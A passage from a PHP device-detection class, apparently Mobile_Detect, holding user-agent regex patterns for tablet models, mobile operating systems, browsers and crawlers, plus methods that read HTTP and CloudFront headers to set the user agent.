TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-850M|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)(FL|F|HV|H|)|TB-X103F|TB-X304X|TB-X304F|TB-X304L|TB-X505F|TB-X505L|TB-X505X|TB-X605F|TB-X605L|TB-8703F|TB-8703X|TB-8703N|TB-8704N|TB-8704F|TB-8704X|TB-8704V|TB-7304F|TB-7304I|TB-7304X|Tab2A7-10F|Tab2A7-20F|TB2-X30L|YT3-X50L|YT3-X50F|YT3-X50M|YT-X705F|YT-X703F|YT-X703L|YT-X705L|YT-X705X|TB2-X30F|TB2-X30L|TB2-X30M|A2107A-F|A2107A-H|TB3-730F|TB3-730M|TB3-730X|TB-7504F|TB-7504X', 'DellTablet' => 'Venue 11|Venue 8|Venue 7|Dell Streak 10|Dell Streak 7', 'YarvikTablet' => 'Android.*\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\b', 'MedionTablet' => 'Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB', 'ArnovaTablet' => '97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2', 'IntensoTablet' => 'INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004', 'IRUTablet' => 'M702pro', 'MegafonTablet' => 'MegaFon V9|\bZTE V9\b|Android.*\bMT7A\b', 'EbodaTablet' => 'E-Boda (Supreme|Impresspeed|Izzycomm|Essential)', 'AllViewTablet' => 'Allview.*(Viva|Alldro|City|Speed|All TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)', 'ArchosTablet' => '\b(101G9|80G9|A101IT)\b|Qilive 97R|Archos5|\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|c|)(G10| Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\b', 'AinolTablet' => 'NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark', 'NokiaLumiaTablet' => 'Lumia 2520', 'SonyTablet' => 'Sony.*Tablet|Xperia Tablet|Sony Tablet S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP641|SGP612|SOT31|SGP771|SGP611|SGP612|SGP712', 'PhilipsTablet' => '\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\b', 'CubeTablet' => 'Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE U8GT', 'CobyTablet' => 'MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010', 'MIDTablet' => 'M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10', 'MSITablet' => 'MSI \b(Primo 73K|Primo 73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|Primo 91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 10)\b', 'SMiTTablet' => 'Android.*(\bMID\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)', 'RockChipTablet' => 'Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A', 'FlyTablet' => 'IQ310|Fly Vision', 'bqTablet' => 'Android.*(bq)?.*\b(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|Aquaris ([E|M]10|M8))\b|Maxwell.*Lite|Maxwell.*Plus', 'HuaweiTablet' => 'MediaPad|MediaPad 7 Youth|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim|M2-A01L|BAH-L09|BAH-W09|AGS-L09|CMR-AL19', 'NecTablet' => '\bN-06D|\bN-08D', 'PantechTablet' => 'Pantech.*P4100', 'BronchoTablet' => 'Broncho.*(N701|N708|N802|a710)', 'VersusTablet' => 'TOUCHPAD.*[78910]|\bTOUCHTAB\b', 'ZyncTablet' => 'z1000|Z99 2G|z930|z990|z909|Z919|z900', 'PositivoTablet' => 'TB07STA|TB10STA|TB07FTA|TB10FTA', 'NabiTablet' => 'Android.*\bNabi', 'KoboTablet' => 'Kobo Touch|\bK080\b|\bVox\b Build|\bArc\b Build', 'DanewTablet' => 'DSlide.*\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\b', 'TexetTablet' => 'NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|TB-436|TB-416|TB-146SE|TB-126SE', 'PlaystationTablet' => 'Playstation.*(Portable|Vita)', 'TrekstorTablet' => 'ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab', 'PyleAudioTablet' => '\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\b', 'AdvanTablet' => 'Android.* \b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\b ', 'DanyTechTablet' => 'Genius Tab G3|Genius Tab S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|Genius TAB GII|Genius TAB GIII|Genius Tab S1', 'GalapadTablet' => 'Android.*\bG1\b(?!\))', 'MicromaxTablet' => 'Funbook|Micromax.*\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\b', 'KarbonnTablet' => 'Android.*\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\b', 'AllFineTablet' => 'Fine7 Genius|Fine7 Shine|Fine7 Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide', 'PROSCANTablet' => '\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\b', 'YONESTablet' => 'BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026', 'ChangJiaTablet' => 'TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|TPC10111|TPC10203|TPC10205|TPC10503', 'GUTablet' => 'TX-A1301|TX-M9002|Q702|kf026', 'PointOfViewTablet' => 'TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10', 'OvermaxTablet' => 'OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|MagicTab|Stream|TB-08|TB-09)|Qualcore 1027', 'HCLTablet' => 'HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync', 'DPSTablet' => 'DPS Dream 9|DPS Dual 7', 'VistureTablet' => 'V97 HD|i75 3G|Visture V4( HD)?|Visture V5( HD)?|Visture V10', 'CrestaTablet' => 'CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989', 'MediatekTablet' => '\bMT8125|MT8389|MT8135|MT8377\b', 'ConcordeTablet' => 'Concorde([ ]+)?Tab|ConCorde ReadMan', 'GoCleverTablet' => 'GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|GCTA722|TAB I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB A93|TAB A93.2|TAB T72|TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|TAB R104|TAB R83.3|TAB A1042', 'ModecomTablet' => 'FreeTAB 9000|FreeTAB 7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|FreeTAB 1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB 7002|FreeTAB 1002|FreeTAB 7801|FreeTAB 1331|FreeTAB 1004|FreeTAB 8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003', 'VoninoTablet' => '\b(Argus[ _]?S|Diamond[ _]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|Orin[ _]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[ _]?3G|Primus[ _]?94HD|Primus[ _]?QS|Android.*\bQ8\b|Sirius[ _]?EVO[ _]?QS|Sirius[ _]?QS|Spirit[ _]?S)\b', 'ECSTablet' => 'V07OT2|TM105A|S10OT1|TR10CS1', 'StorexTablet' => 'eZee[_\']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab', 'VodafoneTablet' => 'SmartTab([ ]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497|VFD 1400', 'EssentielBTablet' => 'Smart[ \']?TAB[ ]+?[0-9]+|Family[ \']?TAB2', 'RossMoorTablet' => 'RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711', 'iMobileTablet' => 'i-mobile i-note', 'TolinoTablet' => 'tolino tab [0-9.]+|tolino shine', 'AudioSonicTablet' => '\bC-22Q|T7-QC|T-17B|T-17P\b', 'AMPETablet' => 'Android.* A78 ', 'SkkTablet' => 'Android.* (SKYPAD|PHOENIX|CYCLOPS)', 'TecnoTablet' => 'TECNO P9|TECNO DP8D', 'JXDTablet' => 'Android.* \b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|P1000|P300|S18|S6600|S9100)\b', 'iJoyTablet' => 'Tablet (Spirit 7|Essentia|Galatea|Fusion|Onix 7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|Unique 7|Sygnus|Hexen|Finity 7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr 7|Rebel|Biox|Rebel|Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|Revolution|Finity 9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone 8GB|Andromeda|Silken|X2|Andromeda II|Halley|Flame|Saphyr 9,7|Touch 8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)', 'FX2Tablet' => 'FX2 PAD7|FX2 PAD10', 'XoroTablet' => 'KidsPAD 701|PAD[ ]?712|PAD[ ]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|PAD[ ]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[ ]?9718DR|PAD[ ]?9719QR|PAD[ ]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|TelePAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151', 'ViewsonicTablet' => 'ViewPad 10pi|ViewPad 10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100a', 'VerizonTablet' => 'QTAQZ3|QTAIR7|QTAQTZ3|QTASUN1|QTASUN2|QTAXIA1', 'OdysTablet' => 'LOOX|XENO10|ODYS[ -](Space|EVO|Xpress|NOON)|\bXELIO\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10', 'CaptivaTablet' => 'CAPTIVA PAD', 'IconbitTablet' => 'NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S', 'TeclastTablet' => 'T98 4G|\bP80\b|\bX90HD\b|X98 Air|X98 Air 3G|\bX89\b|P80 3G|\bX80h\b|P98 Air|\bX89HD\b|P98 3G|\bP90HD\b|P89 3G|X98 3G|\bP70h\b|P79HD 3G|G18d 3G|\bP79HD\b|\bP89s\b|\bA88\b|\bP10HD\b|\bP19HD\b|G18 3G|\bP78HD\b|\bA78\b|\bP75\b|G17s 3G|G17h 3G|\bP85t\b|\bP90\b|\bP11\b|\bP98t\b|\bP98HD\b|\bG18d\b|\bP85s\b|\bP11HD\b|\bP88s\b|\bA80HD\b|\bA80se\b|\bA10h\b|\bP89\b|\bP78s\b|\bG18\b|\bP85\b|\bA70h\b|\bA70\b|\bG17\b|\bP18\b|\bA80s\b|\bA11s\b|\bP88HD\b|\bA80h\b|\bP76s\b|\bP76h\b|\bP98\b|\bA10HD\b|\bP78\b|\bP88\b|\bA11\b|\bA10t\b|\bP76a\b|\bP76t\b|\bP76e\b|\bP85HD\b|\bP85a\b|\bP86\b|\bP75HD\b|\bP76v\b|\bA12\b|\bP75a\b|\bA15\b|\bP76Ti\b|\bP81HD\b|\bA10\b|\bT760VE\b|\bT720HD\b|\bP76\b|\bP73\b|\bP71\b|\bP72\b|\bT720SE\b|\bC520Ti\b|\bT760\b|\bT720VE\b|T720-3GE|T720-WiFi', 'OndaTablet' => '\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|Vi40)\b[\s]+|V10 \b4G\b', 'JaytechTablet' => 'TPC-PA762', 'BlaupunktTablet' => 'Endeavour 800NG|Endeavour 1010', 'DigmaTablet' => '\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\b', 'EvolioTablet' => 'ARIA_Mini_wifi|Aria[ _]Mini|Evolio X10|Evolio X7|Evolio X8|\bEvotab\b|\bNeura\b', 'LavaTablet' => 'QPAD E704|\bIvoryS\b|E-TAB IVORY|\bE-TAB\b', 'AocTablet' => 'MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712', 'MpmanTablet' => 'MP11 OCTA|MP10 OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\bMPG7\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010', 'CelkonTablet' => 'CT695|CT888|CT[\s]?910|CT7 Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\bCT-1\b', 'WolderTablet' => 'miTab \b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN 101|MasterChef)\b', 'MediacomTablet' => 'M-MPI10C3G|M-SP10EG|M-SP10EGP|M-SP10HXAH|M-SP7HXAH|M-SP10HXBH|M-SP8HXAH|M-SP8MXA', 'MiTablet' => '\bMI PAD\b|\bHM NOTE 1W\b', 'NibiruTablet' => 'Nibiru M1|Nibiru Jupiter One', 'NexoTablet' => 'NEXO NOVA|NEXO 10|NEXO AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO MOBI', 'LeaderTablet' => 'TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100', 'UbislateTablet' => 'UbiSlate[\s]?7C', 'PocketBookTablet' => 'Pocketbook', 'KocasoTablet' => '\b(TB-1207)\b', 'HisenseTablet' => '\b(F5281|E2371)\b', 'Hudl' => 'Hudl HT7S3|Hudl 2', 'TelstraTablet' => 'T-Hub2', 'GenericTablet' => 'Android.*\b97D\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD Zoom2|\bA7EB\b|CatNova8|A1_07|CT704|CT1002|\bM721\b|rk30sdk|\bEVOTAB\b|M758A|ET904|ALUMIUM10|Smartfren Tab|Endeavour 1010|Tablet-PC-4|Tagi Tab|\bM6pro\b|CT1020W|arc 10HD|\bTP750\b|\bQTAQZ3\b|WVT101|TM1088|KT107' ); protected static $operatingSystems = array( 'AndroidOS' => 'Android', 'BlackBerryOS' => 'blackberry|\bBB10\b|rim tablet os', 'PalmOS' => 'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino', 'SymbianOS' => 'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b', 'WindowsMobileOS' => 'Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Windows Mobile|Windows Phone [0-9.]+|WCE;', 'WindowsPhoneOS' => 'Windows Phone 10.0|Windows Phone 8.1|Windows Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.[23]; ARM;', 'iOS' => '\biPhone.*Mobile|\biPod|\biPad|AppleCoreMedia', 'iPadOS' => 'CPU OS 13', 'MeeGoOS' => 'MeeGo', 'MaemoOS' => 'Maemo', 'JavaOS' => 'J2ME/|\bMIDP\b|\bCLDC\b', 'webOS' => 'webOS|hpwOS', 'badaOS' => '\bBada\b', 'BREWOS' => 'BREW', ); protected static $browsers = array( 'Chrome' => '\bCrMo\b|CriOS|Android.*Chrome/[.0-9]* (Mobile)?', 'Dolfin' => '\bDolfin\b', 'Opera' => 'Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR/[0-9.]+$|Coast/[0-9.]+', 'Skyfire' => 'Skyfire', 'Edge' => 'Mobile Safari/[.0-9]* Edge', 'IE' => 'IEMobile|MSIEMobile', 'Firefox' => 'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS', 'Bolt' => 'bolt', 'TeaShark' => 'teashark', 'Blazer' => 'Blazer', 'Safari' => 'Version.*Mobile.*Safari|Safari.*Mobile|MobileSafari', 'WeChat' => '\bMicroMessenger\b', 'UCBrowser' => 'UC.*Browser|UCWEB', 'baiduboxapp' => 'baiduboxapp', 'baidubrowser' => 'baidubrowser', 'DiigoBrowser' => 'DiigoBrowser', 'Mercury' => '\bMercury\b', 'ObigoBrowser' => 'Obigo', 'NetFront' => 'NF-Browser', 'GenericBrowser' => 'NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger', 'PaleMoon' => 'Android.*PaleMoon|Mobile.*PaleMoon', ); protected static $utilities = array( 'Bot' => 'Googlebot|facebookexternalhit|Google-AMPHTML|s~amp-validator|AdsBot-Google|Google Keyword Suggestion|Facebot|YandexBot|YandexMobileBot|bingbot|ia_archiver|AhrefsBot|Ezooms|GSLFbot|WBSearchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|Exabot|MJ12bot|YandexImages|TurnitinBot|Pingdom|contentkingapp', 'MobileBot' => 'Googlebot-Mobile|AdsBot-Google-Mobile|YahooSeeker/M1A1-R2D2', 'DesktopMode' => 'WPDesktop', 'TV' => 'SonyDTV|HbbTV', 'WebKit' => '(webkit)[ /]([\w.]+)', 'Console' => '\b(Nintendo|Nintendo WiiU|Nintendo 3DS|Nintendo Switch|PLAYSTATION|Xbox)\b', 'Watch' => 'SM-V700', ); protected static $uaHttpHeaders = array( 'HTTP_USER_AGENT', 'HTTP_X_OPERAMINI_PHONE_UA', 'HTTP_X_DEVICE_USER_AGENT', 'HTTP_X_ORIGINAL_USER_AGENT', 'HTTP_X_SKYFIRE_PHONE', 'HTTP_X_BOLT_PHONE_UA', 'HTTP_DEVICE_STOCK_UA', 'HTTP_X_UCBROWSER_DEVICE_UA' ); protected static $properties = array( 'Mobile' => 'Mobile/[VER]', 'Build' => 'Build/[VER]', 'Version' => 'Version/[VER]', 'VendorID' => 'VendorID/[VER]', 'iPad' => 'iPad.*CPU[a-z ]+[VER]', 'iPhone' => 'iPhone.*CPU[a-z ]+[VER]', 'iPod' => 'iPod.*CPU[a-z ]+[VER]', 'Kindle' => 'Kindle/[VER]', 'Chrome' => array('Chrome/[VER]', 'CriOS/[VER]', 'CrMo/[VER]'), 'Coast' => array('Coast/[VER]'), 'Dolfin' => 'Dolfin/[VER]', 'Firefox' => array('Firefox/[VER]', 'FxiOS/[VER]'), 'Fennec' => 'Fennec/[VER]', 'Edge' => 'Edge/[VER]', 'IE' => array('IEMobile/[VER];', 'IEMobile [VER]', 'MSIE [VER];', 'Trident/[0-9.]+;.*rv:[VER]'), 'NetFront' => 'NetFront/[VER]', 'NokiaBrowser' => 'NokiaBrowser/[VER]', 'Opera' => array( ' OPR/[VER]', 'Opera Mini/[VER]', 'Version/[VER]' ), 'Opera Mini' => 'Opera Mini/[VER]', 'Opera Mobi' => 'Version/[VER]', 'UCBrowser' => array( 'UCWEB[VER]', 'UC.*Browser/[VER]' ), 'MQQBrowser' => 'MQQBrowser/[VER]', 'MicroMessenger' => 'MicroMessenger/[VER]', 'baiduboxapp' => 'baiduboxapp/[VER]', 'baidubrowser' => 'baidubrowser/[VER]', 'SamsungBrowser' => 'SamsungBrowser/[VER]', 'Iron' => 'Iron/[VER]', 'Safari' => array( 'Version/[VER]', 'Safari/[VER]' ), 'Skyfire' => 'Skyfire/[VER]', 'Tizen' => 'Tizen/[VER]', 'Webkit' => 'webkit[ /][VER]', 'PaleMoon' => 'PaleMoon/[VER]', 'Gecko' => 'Gecko/[VER]', 'Trident' => 'Trident/[VER]', 'Presto' => 'Presto/[VER]', 'Goanna' => 'Goanna/[VER]', 'iOS' => ' \bi?OS\b [VER][ ;]{1}', 'Android' => 'Android [VER]', 'BlackBerry' => array('BlackBerry[\w]+/[VER]', 'BlackBerry.*Version/[VER]', 'Version/[VER]'), 'BREW' => 'BREW [VER]', 'Java' => 'Java/[VER]', 'Windows Phone OS' => array( 'Windows Phone OS [VER]', 'Windows Phone [VER]'), 'Windows Phone' => 'Windows Phone [VER]', 'Windows CE' => 'Windows CE/[VER]', 'Windows NT' => 'Windows NT [VER]', 'Symbian' => array('SymbianOS/[VER]', 'Symbian/[VER]'), 'webOS' => array('webOS/[VER]', 'hpwOS/[VER];'), ); public function __construct( array $headers = null, $userAgent = null ) { $this->setHttpHeaders($headers); $this->setUserAgent($userAgent); } public static function getScriptVersion() { return self::VERSION; } public function setHttpHeaders($httpHeaders = null) { if (!is_array($httpHeaders) || !count($httpHeaders)) { $httpHeaders = $_SERVER; } $this->httpHeaders = array(); foreach ($httpHeaders as $key => $value) { if (substr($key, 0, 5) === 'HTTP_') { $this->httpHeaders[$key] = $value; } } $this->setCfHeaders($httpHeaders); } public function getHttpHeaders() { return $this->httpHeaders; } public function getHttpHeader($header) { if (strpos($header, '_') === false) { $header = str_replace('-', '_', $header); $header = strtoupper($header); } $altHeader = 'HTTP_' . $header; if (isset($this->httpHeaders[$header])) { return $this->httpHeaders[$header]; } elseif (isset($this->httpHeaders[$altHeader])) { return $this->httpHeaders[$altHeader]; } return null; } public function getMobileHeaders() { return self::$mobileHeaders; } public function getUaHttpHeaders() { return self::$uaHttpHeaders; } public function setCfHeaders($cfHeaders = null) { if (!is_array($cfHeaders) || !count($cfHeaders)) { $cfHeaders = $_SERVER; } $this->cloudfrontHeaders = array(); $response = false; foreach ($cfHeaders as $key => $value) { if (substr(strtolower($key), 0, 16) === 'http_cloudfront_') { $this->cloudfrontHeaders[strtoupper($key)] = $value; $response = true; } } return $response; } public function getCfHeaders() { return $this->cloudfrontHeaders; } private function prepareUserAgent($userAgent) { $userAgent = trim($userAgent); $userAgent = substr($userAgent, 0, 500); return $userAgent; } public function setUserAgent($userAgent = null) { $this->cache = array(); if (false === empty($userAgent)) { return $this->userAgent = $this->prepareUserAgent($userAgent); } else { $this->userAgent = null; foreach ($this->getUaHttpHeaders() as $altHeader) { if (false === empty($this->httpHeaders[$altHeader])) { $this->userAgent .= $this->httpHeaders[$altHeader] . " "; } } if (!empty($this->userAgent)) { return $this->userAgent = $this->prepareUserAgent($this->userAgent); } } if (count($this->getCfHeaders()) > 0) { return $this->userAgent = 'Amazon CloudFront'; } return $this->userAgent = null; } public function getUserAgent() { return $this->userAgent; } public function setDetectionType($type = null) { if ($type === null) { $type = self::DETECTION_TYPE_MOBILE; } if ($type !== self::DETECTION_TYPE_MOBILE && $type !== self::DETECTION_TYPE_EXTENDED) { return; } $this->detectionType = $type; } public function getMatchingRegex() { return $this->matchingRegex; } public function getMatchesArray() { return $this->matchesArray; } public static function getPhoneDevices() { return self::$phoneDevices; } public static function getTabletDevices() { return self::$tabletDevices; } public static function getUserAgents() { return self::getBrowsers(); } public static function getBrowsers() { return self::$browsers; } public static function getUtilities() { return 